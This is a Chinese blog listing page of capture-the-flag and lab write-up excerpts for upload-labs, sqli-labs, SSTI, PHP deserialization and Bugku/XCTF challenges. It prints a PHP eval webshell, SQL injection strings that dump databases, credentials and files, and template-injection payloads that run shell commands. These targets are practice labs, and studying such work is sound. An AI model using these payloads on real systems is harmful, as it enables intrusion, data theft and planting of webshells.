自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(63)
  • 收藏
  • 关注

原创 upload-labs-master 1-3关

第一关随便上传一个.txt文件,弹出提示上穿不成功,设置了白名单,后缀名必须时.jpg、.png、.gif:看看源代码: var allow_ext = ".jpg|.png|.gif";创建一个写有一句话木马的1.jpg:<?php @eval($_POST['123']); ?>用burpsuite抓包,将写有一句话木马的1.jpg修改为1.php,上传成功:用蚁剑成功连接:还有一个办法就是直接禁用js即可上传文件。第二关上传一个写有一句话木马的11.php,提示文件

2022-03-24 15:16:07 3996

原创 Sqlilabs Less-26

判断是单引号字符注入:?id=1''当接下来进行操作时会发现很多被注释掉了,查看源码黑名单过滤了很多:or、and、空格等等:function blacklist($id){ $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_r

2022-03-23 20:23:34 518

原创 命令执行漏洞

PHP系统命令执行函数:system: 执行外部程序,并且显示输出,成功则返回命令输出的最后一行, 失败则 返回 false。exec函数:执行一个外部程序,命令执行结果的最后一行内容。passthru:执行外部命令, 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 imag

2022-03-23 19:11:30 3532

原创 PHP反序列化漏洞

序列化和反序列化在PHP中有两个函数:serialize()和unserialize()函数serialize():用于序列化对象或数组,并返回一个字符串。unserialize():用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。serialize()测试代码:<?php class dofd{ var $test = '111';}$class1 = new dofd;$class1_ser = serialize

2022-03-23 17:17:06 338

原创 Sqlilabs Less25a

根据页面提示,此题是过滤了and和or关键字判断是数字型注入:?id=1 aandnd 1=1--+判断列数:?id=1 oorrder by 3--+爆库:?id=-1 union select 1,2,database()--+爆表:?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+v爆列:?id=

2022-03-18 20:44:47 264

原创 Sqlilabs Less-25

根据网页提示,这道题应该是过滤了AND OR关键字:代码审计,黑名单过滤:绕过方法就是双写爆库:?id=-1' union select 1,2,database()--+爆表:?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+爆列:?id=-1' union select 1,2,group_concat(c

2022-03-10 19:09:26 175

原创 Sqlilabs Less-24

这关是二次注入的知识点:二次注入:二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。更新密码的SQL语句是:$sql = "UPDATE users SET PASSWORD='$pass' where username='$us

2022-03-10 18:57:48 195

原创 Sqlilabs Less-23

此关看着和前面那些常规注入没什么差别,但发现注入时闭合不了末尾的符号,猜测应该是过滤了–+、#、-- ,查看源码证实了猜想:那么就在id参数里进行注入判断是单引号字符型注入:?id=''爆库:?id='union select 1,2,database()'爆表:?id=' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() or '1'

2022-03-10 18:42:48 158

原创 Sqlilabs Less-22

同样是cookie注入判断是双引号字符型注入:爆库:Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj爆表:Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScj爆列:IiB1bm

2022-03-10 18:23:38 103

原创 Sqlilabs Less-21

登录成功后,burpsuite抓包,发现cookie是加了密:去网上找解密工具:接下来的cookie注入也应base64加密爆表:

2022-03-10 18:02:56 206

原创 Sqlilabs Less-20

当正确输入后,页面回显cookie,猜测此注入点在cookie:用burpsuite抓包,证明猜测:爆库:Cookie: uname=admin' and updatexml(1,concat(0x7e,(select database())),0)#; 爆表:Cookie: uname=admin' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema

2022-03-08 19:41:50 222

原创 Sqlilabs Less-19

一顿猜测后,发现在referer后面加入单引号报错,找到注入点查看源代码中的referer相关的SQL语句:$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";爆库:Referer: http://127.0.0.1/sqlilabs/Less-19/',updatexml(1,concat(0x5c,(select database())),1))#爆表

2022-03-07 20:51:37 131

原创 Sqlilabs Less-18

进入页面后,页面有提醒IP ADDRESS,如果对http比较熟悉的话,可以联想到http中的referer、XFF、useragent,在注入中,也可以叫异常Method注入。用burpsuite抓包,查看请求头中的信息,发现回显了user-agent的信息,猜测此题的注入点在user-agent在user-agent中加入单引号,证实注入点位置的猜测:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/201001

2022-03-07 20:38:55 4473

原创 Sqlilabs Less-17

PASSWORD RESET提醒此关可能是password的注入。查看源码,发现逻辑是需要先证明用户存在才能重置密码,既然我们知道admin用户,就直接注入吧。判断是单引号字符型注入,无回显,用报错注入:uname=admin&passwd=abc'#&submit=Submit爆库:uname=admin&passwd=abc'+and+extractvalue(1,concat(0x5c,(select+database())))#&submit=Submit

2022-03-07 20:10:26 117

原创 Sqlilabs Less-16

判断是双引号单括号字符型注入,并且正确是无回显的,用报错注入:uname=admin")#&passwd=&submit=Submit判断列数:uname=admin")+order+by+2#&passwd=&submit=Submit用报错注入发现行不通:uname=admin")+or+extractvalue(1,concat(0x5c,(select+1,database())))#&passwd=&submit=Submit尝试用

2022-03-07 19:31:53 132

原创 Sqlilabs Less-15

判断是单引号字符型注入:uname=admin'#&passwd=&submit=Submit判断列数:uname=admin'+order+by+2#&passwd=&submit=Submit

2022-03-07 19:07:42 121

原创 Sqlilabs Less-14

判断是双引号字符型注入,并且无回显,用报错注入:uname=admin"#&passwd=&submit=Submit判断列数:uname=admin"+order+by+2#&passwd=&submit=Submit爆库:uname=-admin"+and+updatexml(1,concat(0x5c,(select+database())),1)#&passwd=&submit=Submit爆表:uname=admin"+and+u

2022-03-04 20:04:30 86

原创 Sqlilabs Less-13

判断是单引号单括号字符型注入,并且成功注入时无回显,所以用报错注入:uname=admin')&passwd=&submit=Submituname=admin')#&passwd=&submit=Submit判断列数:uname=admin')+order+by+2#&passwd=&submit=Submit爆库:uname=admin')+and+extractvalue(1,concat(0x7e,(select+database()

2022-03-04 19:50:46 250

原创 Sqlilabs Less-12

burpsuite抓包进行注入判断是双引号单括号字符型注入:uname=admin")#&passwd=&submit=Submit判断列数:uname=admin")+order+by+2#&passwd=&submit=Submit爆库:uname=-admin")+union+select+database(),version()#&passwd=&submit=Submit爆表:uname=-admin")+union+selec

2022-03-03 21:01:20 185

原创 Sqlilabs Less-11

这关开始就变成登录画面了先来尝试一个弱口令,用户admin密码admin,登录成功:用burpsuite抓包进行接下来的操作判断出是单引号字符型注入:uname=admin'#&passwd=&submit=Submit判断列数:uname=admin'+order+by+2#&passwd=&submit=Submit爆库:uname=-admin'+union+select+database(),version()#&passwd=&s

2022-03-03 20:52:24 109

原创 Sqlilabs Less-10

此关也是延迟注入判断是双引号字符型注入:?id=1"--+爆库:?id=1" and if(length(database()=8),sleep(5),1)--+后面的操作也是延迟注入猜表名列名数据名

2022-03-03 16:28:45 67

原创 Sqlilabs Less-9

这关也是延迟注入判断是单引号字符型:?id=1'--+爆库:?id=1' and if(length(database())=8,sleep(5),1) --+后面的操作也是延迟注入去猜表名列名数据名

2022-03-03 16:23:48 132

原创 Sqlilabs Less-8

判断是单引号字符型注入:?id=1'和?id=1'--+判断列数:?id=1' order by 3--+用延迟注入方法爆库名的长度:?id=1' union select 1,2,if(length(database())=8,sleep(5),1) -- 反应5s弹出画面:后面的操作也是一步一步延迟注入,去猜表名列名数据名...

2022-03-03 16:17:37 68

原创 Sqlilabs Less-7

通过传参发现并没有显示数据,而是显示了关键词Use outfile,那么这道题的思路就是into outfile的注入判断是单引号双括号字符型注入:?id=1'))--+用into outfile爆数据:?id=1')) union select * from users into outfile "D:\\phpstudy_pro\\outfile.txt" --+...

2022-03-03 16:06:04 161

原创 Sqlilabs Less-6

同样也是报错注入,是双引号字符型注入爆库:?id=1" and extractvalue(1,concat(0x23,database(),0x23)) --+爆表:?id=1" and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x23)) --+爆列:?id=1" and extractvalu

2022-03-02 19:26:50 69

原创 Sqlilabs Less-5

这关用union联合查询是行不通的,所以尝试用报错注入:?id=1' and extractvalue(1,concat(0x23,database(),0x23)) --+爆表:?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x23)) --+爆列:...

2022-03-02 19:16:07 314

原创 Sqlilabs Less-4

通过?id=-1")和?id=-1")--+判断出是双引号单括号注入类型:判断列数:?id=-1") order by 3--+爆库:?id=-1") union select 1,2,database()--+爆表:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+爆列:?id=-1") union sele

2022-03-02 18:53:27 56

原创 Sqlilabs Less-3

通过id=1')--+和id=1')判断为单引号单括号注入类型:爆列数:?id=1') order by 3--+爆库:?id=-1') union select 1,2,database()--+爆表:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+爆列:?id=-1') union select 1,2,

2022-03-01 21:17:31 81

原创 Sqlilabs Less-2

通过?id=1 and 1=1和?id=1 and 1=2判断出是数字型注入类型:判断列数为3:?id=-1 order by 3--+爆库:?id=-1 union select 1,database(),version()--+爆表:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+爆列:?id=-1 unio

2022-03-01 21:05:41 106

原创 Sqlilabs Less-1

less-1联合注入传参给id值时正常回显:127.0.0.1/sqlilabs/Less-1/?id=1判断是单引号字符型类型,注释单引号后正常回显:127.0.0.1/sqlilabs/Less-1/?id=1'127.0.0.1/sqlilabs/Less-1/?id=1' and 1=1--+判断列数为3:127.0.0.1/sqlilabs/Less-1/?id=1' order by 3--+爆数据库、版本:127.0.0.1/sqlilabs/Less-1/?id=

2022-03-01 09:53:13 137

原创 BugkuWeb:game1

进去后发现是一款游戏,思路就是直接结束游戏,然后去看信息,发现网络监视器中多了score.php,发现了可疑的参数score、IP、sign:这个sign应该在后台代码中被控制的,去审计代码,发现了sign的算法:这个游戏的得分是25,base64加密后是MjU=,sign=zMMjU===,可以推测出sign=zm+base64+==,那么接下来就尽可能把score的分数变大,然后修改sign值。经过测试,score=99999时,可以拿到flag:构造payload:http://114.67.

2021-11-04 19:18:58 2342

原创 ACTF2020新生赛:Upload 1

是一个文件上传,随便上传一个,提示要上传照片格式,那么就上传一句话木马.jpg:<?php @eval($_POST['123']); ?>抓包修改后缀名,经过多次尝试,.phtml成功连接蚁剑:找到flag:顺便看看过滤了哪些后缀:总结:.phtml的一句话木马上传绕过限制...

2021-11-04 18:50:51 164

原创 BugkuWeb:Flask_FileUpload

根据题目提示是文件上传,Flask可以猜测是关于python文件的上传随便上传一个文件,那么就上传.py:import osos.system('cat /flag')上传后查看源代码,就可以看到flag:

2021-11-04 18:44:39 173

原创 BugkuWeb:Simple_SSTI_2

题目提示就很明显了是模板注入flag={{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read

2021-11-04 18:35:39 204

原创 BugkuWeb:聪明的PHP

提示让我们传参:随便url里传入一个参数,得到一串代码:代码审计,当为False时都会跳转到template.html,在elseif中过滤了很多读取的命令。出于习惯,随手就来了个简单的模板注入,发现有回显!:这道题是一道Smarty的模板注入,查找资料:Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。Smarty支持使用{php}{/php}标

2021-11-03 21:08:06 317

原创 攻防世界Web:comment

发帖需要登录,提示了我们账户时zhangwei,密码是zhangweixxx,果断暴力破解,得到密码是zhangwei666:然后发帖,想找到SQL的注入点,可是就是找不到,就翻了翻源代码,在控制台中发现了关键的提示:提示了.git源码泄露,用御剑也得到了/.git,使用githacker看代码:没看出什么来,突然想到前面说commit丢失了,那就要将它补上,涉及git修复,给个师傅的修复脚本:git修复<?phpinclude "mysql.php";session_start();i

2021-11-03 20:45:06 208

原创 攻防世界Web:Web_php_wrong_nginx_config

首先进来是一个登录页面:通过御剑扫描,发现了robots.txt,打开发现两个php文件:hint.php:Hack.php是跳转到登录页面:抓包看看Hack.php,发现了可疑的点Cookie:isLogin=0,不妨修改为1,进入控制中心:发现url中file=index&ext=php,不妨测试一下../,发现这里过滤了../:绕过../,根据hint.php可以知道配置文件的路径,那就构造payload:file=....//....//....//....//etc/nginx

2021-11-03 20:21:01 1900

原创 攻防世界Web:i-got-id-200

打开页面,看见三个可点击链接:hello.pl:forms.pl,输入Name和Age后会直接输出在页面上,感觉没什么突破点:file.pl,先上传一个test.txt文件,内容是123,发现文件内容直接输出在页面了,猜想后台源码可能用了parm()函数:param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。用burpsuite抓

2021-10-20 19:05:33 171

原创 攻防世界Web:unfinish

打开页面后,是一个登录页面:用御剑扫一扫,发现有注册页面:用burpsuite抓注册页面:尝试构造sql盲注语句:username=1' and left(database(),1)>'a'#得到结果为nnnnoooo!!!过滤了很多通过抓包出来的三个参数,猜测注册的语句是:insert into tables value('$email','$username','$passwpord');登录成功后语句:SELECT * FROM tables WHERE email = ''$em

2021-10-20 14:56:48 272

原创 攻防世界Web:bug

进入页面后,发现是一个登录窗口,还有注册以及找回密码的操作,先注册一个账户登录,发现进去后是一个欢迎笑脸:点击Manage,弹窗我不是admin,意味着思路就是我们可以想办法登录admin拿到更高权限。再看看personal,发现是每一个账户的信息,注意到UID为5,说明账户中本来就有四个账号,除了admin,其他的用户名和密码都不知道changePwd和Logout中没有什么可搜寻的线索用bupsuite抓包Manage,发现cookie中的user参数,经过测试是5:ding经过MD5加密后

2021-10-17 14:40:52 171

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除